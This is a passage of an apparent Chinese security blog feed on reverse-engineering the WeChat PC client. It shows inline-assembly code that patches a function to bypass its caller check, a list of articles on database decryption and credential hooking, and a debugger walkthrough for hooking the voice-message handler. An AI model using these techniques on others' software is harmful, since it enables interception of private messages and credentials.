class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;1. &#96;Right_TestAntiCall&#96;的00003处修改指令为jmp MyRetAddr。让执行流返回到MyTestAntiCall1</span><br><span class="line">void fakeAntiTestCall(DWORD retaddr1, DWORD retaddr2, char OrigCode[5])</span><br><span class="line">&#123;</span><br><span class="line">    DWORD MyRetAddr &#x3D; retaddr1 - 24;</span><br><span class="line">    DWORD ShellCode[5] &#x3D; &#123; 0xe9, 0x00, 0x00, 0x00, 0x00 &#125;;</span><br><span class="line">    *((DWORD*)(&amp;ShellCode[1])) &#x3D; MyRetAddr;</span><br><span class="line">    memcpy(OrigCode, (char*)retaddr2, 5);</span><br><span class="line">    Patch((PVOID)retaddr2, 5, ShellCode);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;2. 恢复00003处原始指令。</span><br><span class="line">void fakeAntiTestCall1(DWORD retaddr2, char OrigCode[5])</span><br><span class="line">&#123;</span><br><span class="line">    Patch((PVOID)retaddr2, 5, OrigCode);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;这个会成功</span><br><span class="line">void MyTestAntiCall(DWORD a1)</span><br><span class="line">&#123;</span><br><span class="line">    DWORD MyRetAddr &#x3D; 0;</span><br><span class="line">    char OrigCode[5] &#x3D; &#123; 0 &#125;;</span><br><span class="line">    __asm &#123;</span><br><span class="line">        jmp RET1;</span><br><span class="line">    INIT:</span><br><span class="line">        pop eax;&#x2F;&#x2F;retAddr</span><br><span class="line">        mov MyRetAddr, eax;</span><br><span class="line">        lea eax, OrigCode;</span><br><span class="line">        push eax;</span><br><span class="line">        push g_SendTextMsgRetAddr;</span><br><span class="line">        push MyRetAddr;</span><br><span class="line">        call fakeAntiTestCall; &#x2F;&#x2F;在原始g_SendTextMsgRetAddr处跳入MyTestAntiCall1的MyRetAddr</span><br><span class="line">        push a1;</span><br><span class="line">        push g_SendTextMsgRetAddr;&#x2F;&#x2F;压入原始retaddr</span><br><span class="line">        jmp pfnWxSendTextMsg; &#x2F;&#x2F;调用函数，这样函数内部检测就是正常的</span><br><span class="line">        add esp, 4; &#x2F;&#x2F;MyRetAddr</span><br><span class="line">        lea eax, OrigCode;</span><br><span class="line">        push eax;</span><br><span class="line">        push g_SendTextMsgRetAddr;</span><br><span class="line">        call fakeAntiTestCall1;&#x2F;&#x2F;恢复g_SendTextMsgRetAddr数据</span><br><span class="line">        ret;</span><br><span class="line">    RET1:</span><br><span class="line">        call INIT;</span><br><span class="line">        nop;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>为了拿到MyRetAddr的地址，通过call+pop的方法完成，如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">__asm &#123;</span><br><span class="line">    jmp RET1:</span><br><span class="line">    WORK:</span><br><span class="line">        pop eax; &#x2F;&#x2F;eax &#x3D; retaddr</span><br><span class="line">        mov retaddr, eax;</span><br><span class="line">        &#x2F;&#x2F;do thing</span><br><span class="line">        add esp, 4;&#x2F;&#x2F;MyRetAddr</span><br><span class="line">    RET1:</span><br><span class="line">        call WORK;&#x2F;&#x2F;push retaddr; jmp WORK;</span><br><span class="line">        nop;&#x2F;&#x2F;retaddr</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>上面拿到retaddr和MyRetAddr明显不是同一个，所以在<code>fakeAntiTestCall</code>中减去一个偏移24拿到<code>MyRetAddr</code>。</p> <p>偏移值通过下面的字节码可以计算出来<code>10024E1E</code> - <code>10024E06</code> = 24。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">.text:10024DDF EB 37                             jmp     short RET1</span><br><span class="line">.text:10024DE1                   INIT:   </span><br><span class="line">.text:10024DE1 58                                pop     eax</span><br><span class="line">.text:10024DE2 89 45 F4                          mov     MyRetAddr, eax</span><br><span class="line">.text:10024DE5 8D 45 F8                          lea     eax, OrigCode</span><br><span class="line">.text:10024DE8 50                                push    eax</span><br><span class="line">.text:10024DE9 FF 35 00 D0 25 10                 push    pfnTestAntiCall_RetAddr</span><br><span class="line">.text:10024DEF FF 75 F4                          push    MyRetAddr</span><br><span class="line">.text:10024DF2 E8 C9 00 00 00                    call    fakeAntiTestCall; </span><br><span class="line">.text:10024DF7 FF 75 E0                          push    a1</span><br><span class="line">.text:10024DFA FF 35 00 D0 25 10                 push    pfnTestAntiCall_RetAddr</span><br><span class="line">.text:10024E00 FF 25 D4 A4 28 10                 jmp     pfnTestAntiCall; </span><br><span class="line">.text:10024E06 83 C4 04                          add     esp, 4</span><br><span class="line">.text:10024E09 8D 45 F8                          lea     eax, OrigCode</span><br><span class="line">.text:10024E0C 50                                push    eax</span><br><span class="line">.text:10024E0D FF 35 00 D0 25 10                 push    MyRetAddr</span><br><span class="line">.text:10024E13 E8 88 00 00 00                    call    fakeAntiTestCall1; </span><br><span class="line">.text:10024E14 C3                                ret;</span><br><span class="line">.text:10024E19</span><br><span class="line">.text:10024E19                   RET1:    </span><br><span class="line">.text:10024E19 E8 C4 FF FF FF                    call    INIT</span><br><span class="line">.text:10024E1E 90                                nop</span><br></pre></td></tr></table></figure> <p>如此可以正常完成一次调用，但是还有问题，因为会反复修改<code>Right_TestAntiCall</code>的指令，可能在多线程中执行时出现问题。</p> <p>所以更好的方法时在<code>Right_TestAntiCall</code>的模块中找一个不用（零值）的内存，用来保护临时指令，不细讲了，大家自行探索吧。</p> <p>（完）</p> <p>转载请注明出处：<a href="https://anhkgg.com/anti-call/">https://anhkgg.com/anti-call/</a></p> ]]></content>          <summary type="html">            &lt;p&gt;如何防止别人调用自己的函数？&lt;/p&gt;          </summary>            <category term="secure" scheme="https://anhkgg.github.io/categories/secure/"/>                 <category term="微信" scheme="https://anhkgg.github.io/tags/%E5%BE%AE%E4%BF%A1/"/>            <category term="保护" scheme="https://anhkgg.github.io/tags/%E4%BF%9D%E6%8A%A4/"/>        </entry>      <entry>     <title>微信逆向分析相关研究技术文章收集</title>     <link href="https://anhkgg.github.io/wechat-pc-study-technical-article-sets/"/>     <id>https://anhkgg.github.io/wechat-pc-study-technical-article-sets/</id>     <published>2019-08-06T02:43:05.000Z</published>     <updated>2019-11-14T06:31:04.764Z</updated>          <content type="html"><![CDATA[<p>微信相关研究技术文章收集，版权属于原作者，不定时更新。</p> <p>欢迎关注：<a href="https://github.com/anhkgg/awesome-wechat-technology">https://github.com/anhkgg/awesome-wechat-technology</a></p> <p>QQ交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <a id="more"></a> <ul> <li><a href="https://mp.weixin.qq.com/s/bb7XMxop7e8rd7YqQ88nyA">微信(WeChat)电脑端多开分析+源码</a></li> <li><a href="https://mp.weixin.qq.com/s/E7N6LzAH4p88Gu4f_qwGlg">https://mp.weixin.qq.com/s/E7N6LzAH4p88Gu4f_qwGlg</a></li> <li><a href="https://mp.weixin.qq.com/s/h9d8aO79OvkpV9bknVT60A">https://mp.weixin.qq.com/s/h9d8aO79OvkpV9bknVT60A</a></li> <li><a href="https://mp.weixin.qq.com/s/uUXB9AHtnhCsD7gAfFYRoA">https://mp.weixin.qq.com/s/uUXB9AHtnhCsD7gAfFYRoA</a></li> <li><a href="https://mp.weixin.qq.com/s/WBDPc3Vd0X_zLb3qqITlmg">https://mp.weixin.qq.com/s/WBDPc3Vd0X_zLb3qqITlmg</a></li> <li><a href="https://mp.weixin.qq.com/s/yGj_63iRbXRdJcnXKv9P8w">https://mp.weixin.qq.com/s/yGj_63iRbXRdJcnXKv9P8w</a></li> <li><a href="https://mp.weixin.qq.com/s/JTHa4xOgD-CbgB8Rbkd3SA">https://mp.weixin.qq.com/s/JTHa4xOgD-CbgB8Rbkd3SA</a></li> <li><p><a href="https://mp.weixin.qq.com/s/WfYJDY9OymRTigwn6u7IGw">教会微信：突破文件发送100M限制</a></p> </li> <li><p><a href="https://bbs.pediy.com/thread-217610.htm">[原创] 微信(WeChat)电脑端多开分析+源码</a></p> </li> <li><a href="https://bbs.pediy.com/thread-249274.htm">[原创]微信PC端技术研究(2)-保存聊天语音</a></li> <li><a href="https://bbs.pediy.com/thread-248080.htm">[原创]微信PC端技术研究-消息防撤销</a></li> <li><a href="https://bbs.pediy.com/thread-249635.htm">[原创]SuperWeChatPC开源开放开发者SDK-打造你的超级微信</a></li> <li><a href="https://bbs.pediy.com/thread-249542.htm">[原创]微信PC端技术研究(3)-如何找到消息发送接口</a></li> <li><a href="https://bbs.pediy.com/thread-200129.htm">[原创]微信聊天备份加密原理</a></li> </ul> <p><strong>鬼手系列</strong></p> <ul> <li><a href="https://blog.csdn.net/qq_38474570/article/details/97820327">PCXX逆向：终结篇——定位关键call的思路总结</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/97819595">PCXX逆向：分析微信发送文件call</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/97818674">PCXX逆向：分析群拉人功能</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/97817650">PCXX逆向：分析发送xml名片call</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/97672427">PCXX逆向：分析@群成员call</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/97404761">PCXX逆向：实现自动添加好友分享名片</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/96757192">PCXX逆向：分析获取群成员列表的call(part2)</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/96755951">PCXX逆向：分析获取群成员列表的call(part1)</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/96723746">【开源】WeChatRobot+WeChatHelper 制作自己的微信机器人</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/96606530">PC微信逆向：两种姿势教你解密数据库文件</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/95889507">PCXX逆向：使用HOOK获取好友列表和群列表</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/93339861">PCXX逆向：发送与接收消息的分析与代码实现</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/93304599">PCXX逆向：四种姿势教你干掉防多开</a></li> <li><a href="https://blog.csdn.net/qq_38474570/article/details/92798577">PCXX逆向：使用HOOK拦截二维码</a></li> <li><p><a href="https://blog.csdn.net/qq_38474570/article/details/92571302">PCXX逆向：使用CE+OD查找个人数据</a></p> </li> <li><p><a href="https://bbs.pediy.com/thread-222652.htm">[原创]微信数据库解密算法</a></p> </li> <li><a href="https://bbs.pediy.com/thread-220798.htm">[原创]pc端微信逆向分析</a></li> <li><a href="https://bbs.pediy.com/thread-223090.htm">[原创]pc端微信辅助工具，duilib spy</a></li> <li><a href="https://www.52pojie.cn/thread-924687-1-1.html">PC微信逆向 — 分析获取登录二维码的数据</a></li> <li><p><a href="https://bbs.pediy.com/thread-251303.htm">[原创]PC版微信数据库解密详细教程</a></p> </li> <li><p><a href="https://bbs.pediy.com/thread-224988.htm">[原创]PC微信发送消息研究</a></p> </li> <li><a href="https://bbs.pediy.com/thread-223178.htm">[原创] 对控制PC端微信发送信息的研究</a></li> <li><a href="https://bbs.pediy.com/thread-223002.htm">[原创]微信逆向之 —给微信添加控件–笔记</a></li> <li><p><a href="https://bbs.pediy.com/thread-248389.htm">[原创]关于微信聊天机器人的半hook半协议研究</a></p> </li> <li><p><a href="https://blog.csdn.net/qq_21051503/article/details/79746742">[原创]微信安卓协议分析笔记</a> 被和谐</p> </li> <li><a href="https://bbs.pediy.com/thread-228360.htm">[原创]Xposed________监听微信登录帐号和密码</a></li> </ul> <p>关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;p&gt;微信相关研究技术文章收集，版权属于原作者，不定时更新。&lt;/p&gt; &lt;p&gt;欢迎关注：&lt;a href=&quot;https://github.com/anhkgg/awesome-wechat-technology&quot;&gt;https://github.com/anhkgg/awesome-wechat-technology&lt;/a&gt;&lt;/p&gt; &lt;p&gt;QQ交流群：&lt;a href=&quot;https://jq.qq.com/?_wv=1027&amp;amp;k=5ww6tlB&quot;&gt;753894145&lt;/a&gt;&lt;/p&gt;          </summary>            <category term="wechat" scheme="https://anhkgg.github.io/categories/wechat/"/>                 <category term="微信" scheme="https://anhkgg.github.io/tags/%E5%BE%AE%E4%BF%A1/"/>            <category term="多开" scheme="https://anhkgg.github.io/tags/%E5%A4%9A%E5%BC%80/"/>            <category term="防撤销" scheme="https://anhkgg.github.io/tags/%E9%98%B2%E6%92%A4%E9%94%80/"/>            <category term="解密" scheme="https://anhkgg.github.io/tags/%E8%A7%A3%E5%AF%86/"/>        </entry>      <entry>     <title>微信PC端技术研究(2)-保存聊天语音</title>     <link href="https://anhkgg.github.io/wechat-voice/"/>     <id>https://anhkgg.github.io/wechat-voice/</id>     <published>2019-02-03T04:07:24.000Z</published>     <updated>2019-11-14T06:31:21.495Z</updated>          <content type="html"><![CDATA[<p>QQ交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> <blockquote> <p>微信PC端技术研究-保存聊天语音<br>by anhkgg（公众号：汉客儿）<br>2019年1月31日</p> </blockquote> <h3 id="0x0-前言"><a href="#0x0-前言" class="headerlink" title="0x0. 前言"></a>0x0. 前言</h3><p>虽然一直知道CE，也用过一段时间，但一直用不好，可能太笨。</p> <p>最近又学习了某位大佬用CE的方法，大佬的一句话有点醍醐灌顶，然后有了新的感觉，然后开始尝试实践这篇文章。</p> <p>自己总结一下CE用法的核心思路：通过各种技巧搜索找到内存中关键数据，然后结合动态调试找到操作数据的函数。</p> <p>准备工具：Cheat Engine，OllyDbg，IDA。</p> <a id="more"></a> <h3 id="0x1-了解CE"><a href="#0x1-了解CE" class="headerlink" title="0x1. 了解CE"></a>0x1. 了解CE</h3><p>官网：<a href="https://www.cheatengine.org/">https://www.cheatengine.org/</a></p> <p>看看来自百科的介绍：</p> <blockquote> <p>Cheat Engine 是一款内存修改编辑工具 ，它允许你修改你的游戏或软件内存数据，以得到一些其他功能。它包括16进制编辑，反汇编程序，内存查找工具。与同类修改工具相比，它具有强大的反汇编功能，且自身附带了外挂制作工具，可以用它直接生成外挂。</p> </blockquote> <p>在我看来，CE做的最好的就是各种策略的内存搜索能力。</p> <ol> <li><p>支持准确数据（整数、字符串、十六进制、浮点数、字节数组等等）搜索，针对目标数据明确效果显著，比如金币数。</p> </li> <li><p>支持数据范围的搜索，比如大于某个值，小于某个值等等。比如想找到没有显示数值的血量数据。</p> </li> <li><p>支持多组数据同时搜索，针对数据结构复杂的情况</p> </li> <li><p>支持搜索结果的多次过滤（图中框选的Next Scan），最终找到目标数据。比如血量未知时，通过加血、减血多次搜索最终找到血量地址。</p> </li> </ol> <p><img src="/img/wx2/image001.png" alt="img"></p> <p>说到底CE内存搜索的能力就是通过各种策略帮助你找到游戏中需要修改的数据（比如血量、分数、金币等等），然后通过内存修改能力（直接改血量）打破游戏平衡，外挂制作工具生成外挂，助你超神！</p> <p>更多CE的高级应用可以访问：</p> <p><a href="https://blog.csdn.net/cgs_______/article/details/77799091">https://blog.csdn.net/cgs_______/article/details/77799091</a></p> <p><a href="https://blog.csdn.net/zhaobisheng1/article/details/79259460">https://blog.csdn.net/zhaobisheng1/article/details/79259460</a></p> <h3 id="0x2-分析"><a href="#0x2-分析" class="headerlink" title="0x2. 分析"></a>0x2. 分析</h3><p>进入正题，本文是要拿到微信聊天的语音消息，然后dump保存下来。</p> <p>要按以前我的思路，会通过网络通信找到接受消息的函数，然后找到语音数据，看起来很简单，但是有点难。</p> <p>因为函数真的很多，网络消息也会受到很多干扰。</p> <p>现在用CE了，应该怎么办呢？</p> <h4 id="找到关键数据"><a href="#找到关键数据" class="headerlink" title="找到关键数据"></a>找到关键数据</h4><p>关键数据肯定是语音消息了，但是怎么搜索呢，肯定搜语音内容不现实，所以转了弯，先看看文字消息，找到接受文字消息处理函数之后，猜测语音处理函数会相同或者在不同分支。</p> <p>接着，如何搜索文字消息呢？已经收到的显示在聊天窗口的内容当然可以通过CE找到，但是没用啊，它和接受文字消息处理函数已经没关系了，流程已经处理完成了。</p> <p>那么在测试中肯定知道发送的消息内容，通过CE来搜索可以吗？</p> <p>额，我觉得不行，还没收到消息呢，内存中也没有这个文字消息，搜索不到（如果可以，请大佬指点一下）。</p> <p>能想到的是，在接受到消息某一点通过调试器断下来，然后CE搜索，这样可以，但是这个断点找不到阿，放弃。</p> <p>那怎么办呢？</p> <p>看到左侧聊天列表中显示的最新一条消息，有了新的思路。</p> <p><img src="/img/wx2/image003.png" alt="img"></p> <p>每次收到新消息后，都会在列表中显示最新消息内容（图中绿框指示位置、注意是unicode字符）。</p> <p>那么，先用CE（First Scan）搜索当前搜到的消息内容，找到可能的内存地址。多次接受不同消息后，Next Scan按钮搜索每次新的消息内容，最终确定聊天列表中显示的最新消息内容的内存地址。</p> <p>多次刷选之后，留下两个地址，通过CE修改内容，在界面中查看是否改变，最终确认第二个地址就是我们的目标，暂把该地址记录为MsgAddr。</p> <p><img src="/img/wx2/image005.png" alt="img"></p> <h4 id="分析消息接收函数"><a href="#分析消息接收函数" class="headerlink" title="分析消息接收函数"></a>分析消息接收函数</h4><p>关键数据地址已经找到，下面的工作复杂也不复杂，就看微信是如何实现的了。</p> <p>猜测微信实现消息显示的流程是这样的：</p> <ol> <li><p>recv收到消息，组装完整包后，分发给消息处理函数</p> </li> <li><p>根据wxid找到要显示消息的列表项，如果不在已聊天消息列表，就新建一个项</p> </li> <li><p>在列表中显示消息，如果是表情显示[文字]，语音显示为[语音]，消息插入wxid对应消息队列，或者存入数据库</p> </li> </ol> <p>步骤3中肯定要写前面找到的MsgAddr内存，把最新消息显示到界面中，这个流程肯定在消息处理函数内部。</p> <p>So，通过OD对MsgAddr下内存写入断点，回溯堆栈就可以找到消息处理函数。</p> <p>具体操作如下：</p> <p>OD挂载Wechat.exe进程后，在左下角内存窗口处Ctrl+G，输入找到的MsgAddr（11A11F34）回车，定位到该数据，然后再HEX数据处，右键弹出菜单，选择断点-&gt;内存写入。</p> <p><img src="/img/wx2/image007.png" alt="img"><br><img src="/img/wx2/image009.png" alt="img"></p> <p>断点设置完成后，测试发送文字消息，OD断住，代码窗口显示的就是修改MsgAddr的代码位置，如上图10CE412C处。</p> <p>Alt+K查看当前堆栈。</p> <p><img src="/img/wx2/image011.png" alt="img"></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">调用堆栈</span><br><span class="line">地址       堆栈       函数过程 &#x2F; 参数                       调用来自                      结构</span><br><span class="line">0012E068   106BD6F3   WeChatWi.10CE4110                     WeChatWi.106BD6EE             0012E064 &#x2F;&#x2F;wcsncpy</span><br><span class="line">0012E088   106BD769   WeChatWi.106BD67E                     WeChatWi.106BD764             0012E084</span><br><span class="line">0012E09C   1011DD8B   WeChatWi.106BD753                     WeChatWi.1011DD86             0012E098</span><br><span class="line">0012E0EC   10206C67   包含WeChatWi.1011DD8B                   WeChatWi.10206C64             0012E0E8</span><br><span class="line">0012E600   1020E8F1   ? WeChatWi.10206460                   WeChatWi.1020E8EC             0012E5FC &#x2F;&#x2F;界面操作</span><br></pre></td></tr></table></figure> <p>看到这个调用栈是不是感觉好少，分析起来肯定简单。但，其实是OD显示的并不全，此时真的很想用windbg。</p> <p>在OD的右下角堆栈窗口，可以看到当前调用栈的参数和预览数据。F8单步（或者Alt+F8执行到返回）逐步的回溯每层堆栈。关注MsgAddr的数据是如何生成的，也就是找到数据来源，然后找到消息处理函数。</p> <p><img src="/img/wx2/image013.png" alt="img"></p> <p>跟踪过程不赘述（需要熟悉汇编知识），直到看到的最顶层的WeChatWi.10206460处，发现是把收到的消息内容显示到聊天列表处的一个界面功能函数。</p> <p>那这里不是可以拿到消息了吗，是的，普通文字消息已经可以拿到，但是语音内容不行。</p> <p>通过观察内存窗口的数据，整理WeChatWi.10206460处的关于消息参数的大致结构。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;聊天列表框信息</span><br><span class="line"></span><br><span class="line">struct chat_list_msg &#123;</span><br><span class="line">DWORD unk;&#x2F;&#x2F;</span><br><span class="line">wstring wxid;&#x2F;&#x2F;</span><br><span class="line">&#x2F;&#x2F;wchar_t* wxid;&#x2F;&#x2F;4</span><br><span class="line">&#x2F;&#x2F;int len;&#x2F;&#x2F;8</span><br><span class="line">&#x2F;&#x2F;int maxlen;&#x2F;&#x2F;c</span><br><span class="line">DWORD unk1;&#x2F;&#x2F;10</span><br><span class="line">DWORD unk2;&#x2F;&#x2F;14</span><br><span class="line">wstring name;</span><br><span class="line">&#x2F;&#x2F;wchar_t* name;&#x2F;&#x2F;18微信名</span><br><span class="line">&#x2F;&#x2F;int len;&#x2F;&#x2F;1c</span><br><span class="line">&#x2F;&#x2F;int maxlen;&#x2F;&#x2F;20</span><br><span class="line">…</span><br><span class="line">wstring msg; &#x2F;&#x2F;</span><br><span class="line">&#x2F;&#x2F;wchar_t* msg;&#x2F;&#x2F;3c</span><br><span class="line">&#x2F;&#x2F;int len;&#x2F;&#x2F;</span><br><span class="line">&#x2F;&#x2F;int maxlen;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>wstring msg字段就是文字消息内容，而语音消息则是预览中看到的[语音]两字，并没有实际能够听到的语音数据，所以还得继续往前找。</p> <p><img src="/img/wx2/image015.png" alt="img"></p> <p>继续往上回溯了3层左右，进入了102DDC50，找到了语音消息的新信息。</p> <p><img src="/img/wx2/image017.png" alt="img"></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">struct msg_xx</span><br><span class="line">&#123;</span><br><span class="line">char unk[0x40];&#x2F;&#x2F;</span><br><span class="line">wstring wxid1;&#x2F;&#x2F;40</span><br><span class="line">wstring wxid2;&#x2F;&#x2F;4c</span><br><span class="line">char unk1[0x10];&#x2F;&#x2F;58</span><br><span class="line">wstring msg;&#x2F;&#x2F;68</span><br><span class="line">char unk2[0x10];&#x2F;&#x2F;74</span><br><span class="line">;&#x2F;&#x2F;84</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>在wstring msg处就是普通文字消息内容，而语音消息并不是我想象的就是直接语音的数据，而是…如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;msg&gt;&lt;voicemsg endflag&#x3D;&quot;1&quot; cancelflag&#x3D;&quot;0&quot; forwardflag&#x3D;&quot;0&quot; voiceformat&#x3D;&quot;4&quot; voicelength&#x3D;&quot;1176&quot; length&#x3D;&quot;1334&quot; bufid&#x3D;&quot;147445261304397871&quot; clientmsgid&#x3D;&quot;416261363964373964444633636200230013013119fdd53b1f494102&quot; fromusername&#x3D;&quot;wxid_xxxxxxxxx&quot; &#x2F;&gt;&lt;&#x2F;msg&gt;</span><br></pre></td></tr></table></figure> <p>真是一波三折，还不是语音的数据，而是关于语音信息的xml，有语音的大小，来自谁，在语音缓冲区中的id（bufid）等等信息。</p> <p>继续往前找呗，最后回溯到了所有消息处理的分发函数10323FF0中。这个函数处理逻辑很复杂，我并没有很快就找到如何生成语音消息的xml，以及处理语音数据的函数。</p> <p>一度卡住，重复分析了很多次。</p> <p>后来又回神想到了逆向神器IDA，xml中数据如voicemsg肯定是模块中会在代码中用到，看看有没有有用的信息。</p> <p>用IDA打开Wechatwin.dll，shift+F12分析出所有字符串，Ctrl+F找到关键字voicemsg，看来有戏。</p> <p><img src="/img/wx2/image019.png" alt="img"></p> <p>真的是柳暗花明又一村。</p> <p>点击字符串跳到代码窗口，按下x，跳到引用该数据的位置。</p> <p><img src="/img/wx2/image021.png" alt="img"></p> <p>找到了解析语音xml数据和解码语音数据的关键函数。</p> <p><img src="/img/wx2/image023.png" alt="img"></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">f_parseVoiceXmlInfo_103148E0</span><br><span class="line">text:103149DD 0E4 0F 84 74 02 00 00                             jz      loc_10314C57</span><br><span class="line">.text:103149E3 0E4 68 D0 06 F0 10                                push    offset aVoicemsg ; &quot;voicemsg&quot;</span><br><span class="line">.text:103149E8 0E8 8B CF                                         mov     ecx, edi</span><br><span class="line">.text:103149EA 0E8 E8 31 28 3E 00                                call    f_xml_subnode_106F7220</span><br><span class="line">.text:103149EF 0E4 85 C0                                         test    eax, eax</span><br><span class="line">.text:103149F1 0E4 0F 84 60 02 00 00                             jz      loc_10314C57</span><br><span class="line">.text:103149F7 0E4 8D 70 2C                                      lea     esi, [eax+2Ch]</span><br><span class="line">.text:103149FA 0E4 68 C4 06 F0 10                                push    offset aClientmsgid ; &quot;clientmsgid&quot;</span><br><span class="line">.text:103149FF 0E8 8B CE                                         mov     ecx, esi</span><br><span class="line">.text:10314A01 0E8 E8 CA 3A 3E 00                                call    f_xml_getvalue_106F84D0</span><br></pre></td></tr></table></figure> <p>函数103148E0解析xml拿到几个字段的内容，返回上层函数调用一个语音解码的函数进行处理，而这个解码函数就会直接操作语音数据。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">(*(void (__thiscall **)(int *, _DWORD, _DWORD, int *, signed int))(*v7</span><br><span class="line">                                                                            + 28))(&#x2F;&#x2F;</span><br><span class="line">             v7,</span><br><span class="line">             *(_DWORD *)(voice_msg + 48),      &#x2F;&#x2F; 语音内容</span><br><span class="line">             *(_DWORD *)(voice_msg + 52),      &#x2F;&#x2F; 语音长度</span><br><span class="line">             v17,</span><br><span class="line">             v4);</span><br></pre></td></tr></table></figure> <p>函数103148E0回溯再看看，进入了分发函数10323FF0中，在一个循环中处理了多种流程，包括显示界面最新消息的流程和解码语音的流程。所以前面找的方向并没有问题，只是缺少认真分析数据和代码的耐心。</p> <p>不过，目的都达到了，找到了数据处理函数，最后通过hook这个函数就能拿到语音数据。</p> <p>另外可以看到语音数据中包含SILK_V3的字符，这种编码音频格式是Skpye曾经使用的一种编码方式，后来开源了。目前播放器并不能直接播放该编码音频文件，所以需要转码为MP3等格式。不过可喜的是已经有大佬完成了这个工作，并开源了工具silk-v3-decoder。所以把代码拿来整合一下，就可以完整的实现实时dump语音聊天数据，转换为mp3进行保存，完美。</p> <p><img src="/img/wx2/image025.png" alt="img"></p> <h3 id="0x3-总结"><a href="#0x3-总结" class="headerlink" title="0x3. 总结"></a>0x3. 总结</h3><p>这是第一次比较成功的应用CE，整个看来，确实省下来很多定位数据和函数的工作。</p> <p>但CE并不是万能的，要找对方法，找对目标数据才可能成功，对于某些没有明显数据的功能，可能也是无能为力。</p> <p>最终还是得提高对大型软件的逆向能力，总体实现思路的猜测以及调试验证。</p> <p>最后，时间仓促，目前只是将保存语音的demo更新到到SuperWeChatPC项目中，后续会持续更新，欢迎关注。</p> <p>转载请注明出处：<a href="https://anhkgg.com/wechat-voice/">https://anhkgg.com/wechat-voice/</a></p> ]]></content>          <summary type="html">            &lt;p&gt;QQ交流群：&lt;a 